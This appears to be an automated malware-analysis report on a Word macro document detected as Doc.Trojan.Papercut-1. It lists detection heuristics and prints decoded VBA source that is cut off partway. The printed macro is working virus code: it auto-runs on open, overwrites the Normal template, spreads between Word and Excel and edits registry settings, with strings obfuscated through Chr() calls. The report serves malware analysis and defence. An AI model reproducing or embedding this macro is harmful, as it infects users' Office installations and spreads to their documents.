MALICIOUS
420
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample contains a critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER heuristic, indicating an obfuscated auto-exec VBA loader. The Document_Open macro is present and uses Shell() and CreateObject calls, typical for downloading and executing additional payloads. The VBA script attempts to modify registry keys related to VBA code colors, which is an unusual behavior for a legitimate document.
Heuristics 8
-
ClamAV: Doc.Trojan.Papercut-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Papercut-1
-
VBA macros detected medium 6 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADERAuto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject call
-
GetObject call high OLE_VBA_GETOBJGetObject call
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 8197 bytes |
SHA-256: 9552a6c4bfaaa90b112270fd28430637b4de9b708428197aae8b52779ce95119 |
|||
|
Detection
ClamAV:
Doc.Trojan.Papercut-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
'
On Error Resume Next
Set a = Application: e = a.Version:
wo = Chr(84) + Chr(104) + Chr(105) + Chr(115) + Chr(87) + Chr(111) + Chr(114) + Chr(107) + Chr(98) + Chr(111) + Chr(111) + Chr(107)
If a = Chr(77) + Chr(105) + Chr(99) + Chr(114) + Chr(111) + Chr(115) + Chr(111) + Chr(102) + Chr(116) + Chr(32) + Chr(69) + Chr(120) + Chr(99) + Chr(101) + Chr(108) Then
p = 0
Set act = ActiveWorkbook.VBProject.VBComponents(wo).CodeModule
Set dis = ThisWorkbook.VBProject.VBComponents(wo).CodeModule
End If
If a <> Chr(77) + Chr(105) + Chr(99) + Chr(114) + Chr(111) + Chr(115) + Chr(111) + Chr(102) + Chr(116) + Chr(32) + Chr(69) + Chr(120) + Chr(99) + Chr(101) + Chr(108) Then
p = 1
Set act = ActiveDocument.VBProject.VBComponents.Item(p).CodeModule
Set dis = NormalTemplate.VBProject.VBComponents.Item(p).CodeModule
If dis.Lines(2, 1) <> "'" Then
dis.deletelines 1, dis.countoflines
dis.insertlines 1, act.Lines(1, act.countoflines)
dis.Save
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\VBA\Office", "CodeForeColors") = "1 1 1 0 1 1 1 1 0 0 0 0 0 0 0 0"
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\VBA\Office", "CodeBackColors") = "1 1 0 1 1 0 0 0 0 0 0 0 0 0 0 0"
End If
End If
If act.Lines(2, 1) <> "'" Then
act.deletelines 1, act.countoflines
act.insertlines 1, dis.Lines(1, dis.countoflines)
If a = Chr(77) + Chr(105) + Chr(99) + Chr(114) + Chr(111) + Chr(115) + Chr(111) + Chr(102) + Chr(116) + Chr(32) + Chr(69) + Chr(120) + Chr(99) + Chr(101) + Chr(108) Then
ActiveWorkbook.Save
Else
ActiveDocument.SaveAs ActiveDocument.FullName
End If
End If
If a = Chr(77) + Chr(105) + Chr(99) + Chr(114) + Chr(111) + Chr(115) + Chr(111) + Chr(102) + Chr(116) + Chr(32) + Chr(69) + Chr(120) + Chr(99) + Chr(101) + Chr(108) Then
Drop = "true"
Set WordObj = GetObject(, "Word.Application")
If WordObj = "" Then
Set WordObj = CreateObject("Word.Application")
crossQuit = True
Set ohio = WordObj.NormalTemplate.VBProject.VBComponents(1).CodeModule
If ohio.Lines(2, 1) <> "'" Then
WordObj.Options.SaveNormalPrompt = False
ohio.deletelines 1, ohio.countoflines
ohio.insertlines 1, dis.Lines(1, dis.countoflines)
ohio.Replaceline 1, "Private Sub Document_Open"
ohio.Save
End If
If crossQuit = True Then WordObj.Quit
End If
End If
If a <> Chr(77) + Chr(105) + Chr(99) + Chr(114) + Chr(111) + Chr(115) + Chr(111) + Chr(102) + Chr(116) + Chr(32) + Chr(69) + Chr(120) + Chr(99) + Chr(101) + Chr(108) Then
ra = Dir("c:\papercut.reg")
If ra = "" Then Drop = "true"
If Drop <> "true" Then GoTo hd300
Set xlapp = CreateObject("Excel.Application")
Set book1Obj = xlapp.Workbooks.Add
chk = Dir(xlapp.Application.StartupPath & "\Book1.xls")
If chk = "" Then
book1Obj.VBProject.VBComponents.Item(wo).CodeModule.insertlines 1, dis.Lines(1, dis.countoflines)
book1Obj.VBProject.VBComponents.Item(wo).CodeModule.Replaceline 1, "Private Sub Workbook_Deactivate()"
book1Obj.SaveAs xlapp.Application.StartupPath & "\Book1.xls"
book1Obj.Close
Drop = "true"
End If
xlapp.Quit
End If
hd300:
If Drop = "true" Then
Open "c:\base.reg" For Output As 1
Print #1, Chr(82) + Chr(69) + Chr(71) + Chr(69) + Chr(68) + Chr(73) + Chr(84) + Chr(52)
Print #1, Chr(91) + Chr(72) + Chr(75) + Chr(69) + Chr(89) + Chr(95) + Chr(67) + Chr(85) + Chr(82) + Chr(82) + Chr(69) + Chr(78) + Chr(84) + Chr(95) + Chr(85) + Chr(83) + Chr(69) + Chr(82) + Chr(92) + Chr(83) + Chr(111) + Chr(102) + Chr(116) + Chr(119) + Chr(97) + Chr(114) + Chr(101) + Chr(92) + Chr(77) + Chr(105) + Chr(99) + Chr(114) + Chr(111) + Chr(115) + Chr(111) + Chr(102) + Chr(116) + Chr(92) + Chr(79) + Chr(102) + Chr(102) + Chr(105) + Chr(99) + Chr(101) + Chr(92) + Chr(56) + Chr(46) + Chr(48) + Chr(92) + Chr(69) + Chr(120) + Chr(99) + Chr(101) + Chr(108
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.